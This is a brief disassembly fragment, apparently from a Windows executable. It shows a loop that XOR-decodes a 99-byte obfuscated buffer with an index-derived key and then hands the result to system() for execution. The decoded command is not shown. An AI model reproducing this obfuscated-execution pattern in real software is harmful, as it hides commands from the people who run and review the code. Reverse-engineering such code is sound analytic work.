nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0x63
jl 0x140023990
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0xb8
ret